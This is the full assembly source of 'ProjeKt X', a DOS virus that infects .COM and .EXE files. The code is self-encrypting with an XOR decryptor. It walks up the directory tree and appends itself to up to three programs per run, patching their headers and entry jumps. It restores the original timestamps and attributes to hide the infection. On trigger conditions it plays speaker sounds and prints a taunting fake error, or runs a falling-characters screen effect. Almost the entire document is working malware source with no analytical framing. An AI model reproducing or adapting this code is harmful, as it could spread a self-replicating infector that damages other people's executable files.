; PROJEKTX.ASM : ProjeKt X 

.model tiny                             ; Handy directive
.code                                   ; Virus code segment
          org    100h                   ; COM file starting IP

id = 'AI'                               ; ID word for EXE infections
entry_point: db 0e9h,0,0                ; jmp decrypt

decrypt:                                ; handles encryption and decryption
          mov  bp,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
          mov  bx,offset startencrypt   ; start of decryption
decrypt_loop:
          db   2eh,81h,37h            ; xor word ptr cs:[bx], xxxx
decrypt_value dw 0                      ; initialised at zero for null effect
          inc  bx                       ; calculate new decryption location
          inc  bx
          dec  bp                       ; If we are not done, then
          jnz  decrypt_loop             ; decrypt mo'
startencrypt:
          call next                     ; calculate delta offset
next:     pop  bp                       ; bp = IP next
          sub  bp,offset next           ; bp = delta offset

          cmp  sp,id                    ; COM or EXE?
          je   restoreEXE
restoreCOM:
          lea  si,[bp+save3]
          mov  di,100h
          push di                       ; For later return
          movsb
          jmp  short restoreEXIT
restoreEXE:
          push ds
          push es
          push cs                       ; DS = CS
          pop  ds
          push cs                       ; ES = CS
          pop  es
          lea  si,[bp+jmpsave2]
          lea  di,[bp+jmpsave]
          movsw
          movsw
          movsw
restoreEXIT:
          movsw

          mov  byte ptr [bp+numinfec],3 ; reset infection counter

          mov  ah,1Ah                   ; Set new DTA
          lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
          int  21h

          mov  ah,47h                   ; Get current directory
          mov  dl,0                     ; Current drive
          lea  si,[bp+origdir]          ; DS:SI->buffer
          int  21h
          mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR

          mov  ax,3524h                 ; Get int 24 handler
          int  21h                      ; to ES:BX
          mov  word ptr [bp+oldint24],bx; Save it
          mov  word ptr [bp+oldint24+2],es
          mov  ah,25h                   ; Set new int 24 handler
          lea  dx,[bp+offset int24]     ; DS:DX->new handler
          int  21h
          push cs                       ; Restore ES
          pop  es                       ; 'cuz it was changed

dir_scan:                               ; "dot dot" traversal
          lea  dx,[bp+exe_mask]
          call infect_mask
          lea  dx,[bp+com_mask]
          call infect_mask
          mov  ah,3bh                   ; change directory
          lea  dx,[bp+dot_dot]          ; "cd .."
          int  21h
          jnc  dir_scan                 ; go back for mo!

done_infections:
                call    get_second
                cmp     ax,0032h                ; Did the function return 50?
                jl      skip00                  ; If less, skip effect
                jmp     short activate_one      ; Success -- skip jump

skip00:         
                call    get_hour
                cmp     ax,0017h                ; Did the function return 23?
                jne     skip01                  ; If not equal, skip effect
                call    get_weekday
                cmp     ax,0003h                ; Did the function return 3?
                jne     skip01                  ; If not equal, skip effect
                jmp     activate_two           ; Success -- skip jump

skip01:         jmp exit_virus

exit_virus:
          mov  ax,2524h                 ; Restore int 24 handler
          lds  dx,[bp+offset oldint24]  ; to original
          int  21h
          push cs
          pop  ds

          mov  ah,3bh                   ; change directory
          lea  dx,[bp+origdir-1]        ; original directory
          int  21h

          mov  ah,1ah                   ; restore DTA to default
          mov  dx,80h                   ; DTA in PSP
          cmp  sp,id-4                  ; EXE or COM?
          jz   returnEXE
returnCOM:
          int  21h
          retn                          ; 100h is on stack
returnEXE:
          pop  es
          pop  ds
          int  21h
          mov  ax,es                    ; AX = PSP segment
          add  ax,10h                   ; Adjust for PSP
          add  word ptr cs:[bp+jmpsave+2],ax
          add  ax,word ptr cs:[bp+stacksave+2]
          cli                           ; Clear intrpts for stack manipulation
          mov  sp,word ptr cs:[bp+stacksave]
          mov  ss,ax
          sti
          db   0eah                     ; jmp ssss:oooo
jmpsave             dd ?                ; Original CS:IP
stacksave           dd ?                ; Original SS:SP
jmpsave2            db ?                ; Actually four bytes
save3               db 0cdh,20h,0       ; First 3 bytes of COM file
stacksave2          dd ?

activate_one:                               ; Conditions satisfied
                mov     cx,0003h                ; First argument is 3
new_shot:       push    cx                      ; Save the current count
                mov     dx,0140h                ; DX holds pitch
                mov     bx,0100h                ; BX holds shot duration
                in      al,061h                 ; Read the speaker port
                and     al,11111100b            ; Turn off the speaker bit
fire_shot:      xor     al,2                    ; Toggle the speaker bit
                out     061h,al                 ; Write AL to speaker port
                add     dx,09248h               ;
                mov     cl,3                    ;
                ror     dx,cl                   ; Figure out the delay time
                mov     cx,dx                   ;
                and     cx,01FFh                ;
                or      cx,10                   ;
shoot_pause:    loop    shoot_pause             ; Delay a bit
                dec     bx                      ; Are we done with the shot?
                jnz     fire_shot               ; If not, pulse the speaker
                and     al,11111100b            ; Turn off the speaker bit
                out     061h,al                 ; Write AL to speaker port
                mov     bx,0002h                ; BX holds delay time (ticks)
                xor     ah,ah                   ; Get time function
                int     1Ah                     ; BIOS timer interrupt
                add     bx,dx                   ; Add current time to delay
shoot_delay:    int     1Ah                     ; Get the time again
                cmp     dx,bx                   ; Are we done yet?
                jne     shoot_delay             ; If not, keep checking
                pop     cx                      ; Restore the count
                loop    new_shot                ; Do another shot
                jmp     go_now

go_now: 
          mov ax,0003h           ; stick 3 into ax.
          int 10h                ; Set up 80*25, text mode.  Clear the
                                 ; screen, too.
          mov ax,1112h           ; We are gunna use the 8*8 internal
                                 ; font, man.
          int 10h                ; Hey man, call the interrupt.
          mov     ah,09h                  ; Use DOS to print fake error
                                          ; message
          mov     dx,offset fake_msg
          int     21h
          mov ah,4ch            ; Lets ditch.
          int 21h               ; "Make it so."
          jmp  exit_virus

activate_two:                      ; First, get current video mode and page.
               mov  cx,0B800h      ;color display, color video mem for page 1
               mov  ah,15          ;Get current video mode
               int  10h
               cmp  al,2           ;Color?
               je   A2             ;Yes
               cmp  al,3           ;Color?
               je   A2             ;Yes
               cmp  al,7           ;Mono?
               je   A1             ;Yes
               int  20h            ;No,quit

                                   ;here if 80 col text mode; put video segment in ds.
A1:            mov  cx,0A300h      ;Set for mono; mono videomem for page 1
A2:            mov  bl,0           ;bx=page offset
               add  cx,bx          ;Video segment
               mov  ds,cx          ;in ds

                                   ;start dropsy effect
               xor  bx,bx          ;Start at top left corner
A3:            push bx             ;Save row start on stack
               mov  bp,80          ;Reset column counter
                                   ;Do next column in a row.
A4:            mov  si,bx          ;Set row top in si
               mov  ax,[si]        ;Get char & attr from screen
               cmp  al,20h         ;Is it a blank?
               je   A7             ;Yes, skip it
               mov  dx,ax          ;No, save it in dx
               mov  al,20h         ;Make it a space
               mov  [si],ax        ;and put on screen
               add  si,160         ;Set for next row
               mov  di,cs:Row      ;Get rows remaining
A5:            mov  ax,[si]        ;Get the char & attr from screen
               mov  [si],dx        ;Put top row char & attr there
A6:            call Vert           ;Wait for 2 vert retraces
               mov  [si],ax        ;Put original char & attr back
                                   ;Do next row, this column.
              add  si,160          ;Next row
              dec  di              ;Done all rows remaining?
              jne  A5              ;No, do next one
              mov  [si-160],dx     ;Put char & attr on line 25 as junk
                                   ;Do next column on this row.
A7:           add  bx,2            ;Next column, same row
              dec  bp              ;Dec column counter; done?
              jne  A4              ;No, do this column
;Do next row.
A8:           pop  bx              ;Get current row start
              add  bx,160          ;Next row
              dec  cs:Row          ;All rows done?
              jne  A3              ;No
A9:           mov  ax,4C00h  
              int  21h             ;Yes, quit to DOS with error code

                                   ;routine to deal with snow on CGA screen.
Vert:         push ax
              push dx
              push cx              ;Save all registers used
              mov  cl,2            ;Wait for 2 vert retraces
              mov  dx,3DAh         ;CRT status port
F1:           in   al,dx           ;Read status
              test al,8            ;Vert retrace went hi?
              je   F1              ;No, wait for it
              dec  cl              ;2nd one?
              je   F3              ;Yes, write during blanking time
F2:           in   al,dx           ;No, get status
              test al,8            ;Vert retrace went low?
              jne  F2              ;No, wait for it
              jmp  F1              ;Yes, wait for next hi
F3:           pop  cx
              pop  dx
              pop  ax              ;Restore registers
              ret
              jmp exit_virus

get_weekday     proc    near
                mov     ah,02Ah                 ; DOS get date function
                int     021h
                cbw                             ; Sign-extend AL into AX
                ret                             ; Return to caller
get_weekday     endp

get_day         proc    near
                mov     ah,02Ah                 ; DOS get date function
                int     021h
                mov     al,dl                   ; Copy day into AL
                cbw                             ; Sign-extend AL into AX
                ret                             ; Return to caller
get_day         endp

get_hour        proc    near
                mov     ah,02Ch                 ; DOS get time function
                int     021h
                mov     al,ch                   ; Copy hour into AL
                cbw                             ; Sign-extend AL into AX
                ret                             ; Return to caller
get_hour        endp

get_minute      proc    near
                mov     ah,02Ch                 ; DOS get time function
                int     021h
                mov     al,cl                   ; Copy minute into AL
                cbw                             ; Sign-extend AL into AX
                ret                             ; Return to caller
get_minute      endp

get_second      proc    near
                mov     ah,02Ch                 ; DOS get time function
                int     021h
                mov     al,dh                   ; Copy second into AL
                cbw                             ; Sign-extend AL into AX
                ret                             ; Return to caller
get_second      endp

note            db '[ProjeKt X]',0    

infect_mask:
          mov  ah,4eh                   ; find first file
          mov  cx,7                     ; any attribute
findfirstnext:
          int  21h                      ; DS:DX points to mask
          jc   exit_infect_mask         ; No mo files found

          mov  al,0h                    ; Open read only
          call open

          mov  ah,3fh                   ; Read file to buffer
          lea  dx,[bp+buffer]           ; @ DS:DX
          mov  cx,1Ah                   ; 1Ah bytes
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          cmp  word ptr [bp+buffer],'ZM'; EXE?
          jz   checkEXE                 ; Why yes, yes it is!
checkCOM:
          mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
          cmp  ax,3230                  ; Is it too small?
          jb   find_next

          cmp  ax,65535-(endheap-decrypt) ; Is it too large?
          ja   find_next

          mov  bx,word ptr [bp+buffer+1]; get jmp location
          add  bx,heap-decrypt+3        ; Adjust for virus size
          cmp  ax,bx
          je   find_next                ; already infected
          jmp  infect_com
checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
          jnz  infect_exe
find_next:
          mov  ah,4fh                   ; find next file
          jmp  short findfirstnext
exit_infect_mask: ret

infect_exe:
          les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
          mov  word ptr [bp+jmpsave2], ax
          mov  word ptr [bp+jmpsave2+2], es

          les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
          mov  word ptr [bp+stacksave2], es
          mov  word ptr [bp+stacksave2+2], ax

          mov  ax, word ptr [bp+buffer + 8] ; Get header size
          mov  cl, 4                    ; convert to bytes
          shl  ax, cl
          xchg ax, bx

          les  ax, [bp+offset newDTA+26]; Get file size
          mov  dx, es                   ; to DX:AX
          push ax
          push dx

          sub  ax, bx                   ; Subtract header size from
          sbb  dx, 0                    ; file size

          mov  cx, 10h                  ; Convert to segment:offset
          div  cx                       ; form

          mov  word ptr [bp+buffer+14h], dx ; New entry point
          mov  word ptr [bp+buffer+16h], ax

          mov  word ptr [bp+buffer+0Eh], ax ; and stack
          mov  word ptr [bp+buffer+10h], id

          pop  dx                       ; get file length
          pop  ax

          add  ax, heap-decrypt         ; add virus size
          adc  dx, 0

          mov  cl, 9
          push ax
          shr  ax, cl
          ror  dx, cl
          stc
          adc  dx, ax
          pop  ax
          and  ah, 1                    ; mod 512

          mov  word ptr [bp+buffer+4], dx ; new file size
          mov  word ptr [bp+buffer+2], ax

          push cs                       ; restore ES
          pop  es

          push word ptr [bp+buffer+14h] ; needed later
          mov  cx, 1ah
          jmp  short finishinfection
infect_com:                             ; ax = filesize
          mov  cx,3
          sub  ax,cx
          lea  si,[bp+offset buffer]
          lea  di,[bp+offset save3]
          movsw
          movsb
          mov  byte ptr [si-3],0e9h
          mov  word ptr [si-2],ax
          add  ax,103h
          push ax                       ; needed later
finishinfection:
          push cx                       ; Save # bytes to write
          xor  cx,cx                    ; Clear attributes
          call attributes               ; Set file attributes

          mov  al,2
          call open

          mov  ah,40h                   ; Write to file
          lea  dx,[bp+buffer]           ; Write from buffer
          pop  cx                       ; cx bytes
          int  21h

          mov  ax,4202h                 ; Move file pointer
          xor  cx,cx                    ; to end of file
          cwd                           ; xor dx,dx
          int  21h

get_encrypt_value:
          mov  ah,2ch                   ; Get current time
          int  21h                      ; dh=sec,dl=1/100 sec
          or  dx,dx                     ; Check if encryption value = 0
          jz  get_encrypt_value         ; Get another if it is
          mov  [bp+decrypt_value],dx    ; Set new encryption value
          lea  di,[bp+code_store]
          mov  ax,5355h                 ; push bp,push bx
          stosw
          lea  si,[bp+decrypt]          ; Copy encryption function
          mov  cx,startencrypt-decrypt  ; Bytes to move
          push si                       ; Save for later use
          push cx
          rep  movsb

          lea    si,[bp+write]          ; Copy writing function
          mov    cx,endwrite-write      ; Bytes to move
          rep    movsb
          pop    cx
          pop    si
          pop    dx                     ; Entry point of virus
          push   di
          push   si
          push   cx
          rep    movsb                  ; Copy decryption function
          mov    ax,5b5dh               ; pop bx,pop bp
          stosw
          mov    al,0c3h                ; retn
          stosb

          add    dx,offset startencrypt - offset decrypt ; Calculate new
          mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
          call   code_store             ; decryption
          pop    cx
          pop    di
          pop    si
          rep    movsb                  ; Restore decryption function

          mov  ax,5701h                 ; Restore creation date/time
          mov  cx,word ptr [bp+newDTA+16h] ; time
          mov  dx,word ptr [bp+newDTA+18h] ; date
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          mov ch,0
          mov cl,byte ptr [bp+newDTA+15h] ; Restore original
          call attributes               ; attributes

          dec  byte ptr [bp+numinfec]   ; One mo infection
          jnz  mo_infections            ; Not enough
          pop  ax                       ; remove call from stack
          jmp  done_infections
mo_infections: jmp find_next

open:
          mov  ah,3dh
          lea  dx,[bp+newDTA+30]        ; filename in DTA
          int  21h
          xchg ax,bx
          ret

attributes:
          mov  ax,4301h                 ; Set attributes to cx
          lea  dx,[bp+newDTA+30]        ; filename in DTA
          int  21h
          ret

write:
          pop  bx                       ; Restore file handle
          pop  bp                       ; Restore relativeness
          mov  ah,40h                   ; Write to file
          lea  dx,[bp+decrypt]          ; Concatenate virus
          mov  cx,heap-decrypt          ; # bytes to write
          int  21h
          push bx
          push bp
endwrite:

int24:                                  ; New int 24h (error) handler
          mov  al,3                     ; Fail call
          iret                          ; Return control

exe_mask            db '*.exe',0
com_mask            db '*.com',0
dot_dot             db '..',0
heap:                                   ; Variables not in code
; The following code is the buffer for the write function
code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24            dd ?                ; Storage for old int 24h handler      
backslash           db ?
fake_msg            db "If YOU can be a half-wit, so can I!!$"
Row                 dw 24
origdir             db 64 dup (?)       ; Current directory buffer             
newDTA              db 43 dup (?)       ; Temporary DTA                        
numinfec            db ?                ; Infections this run                  
buffer              db 1ah dup (?)      ; read buffer                          
endheap:                                ; End of virus
end       entry_point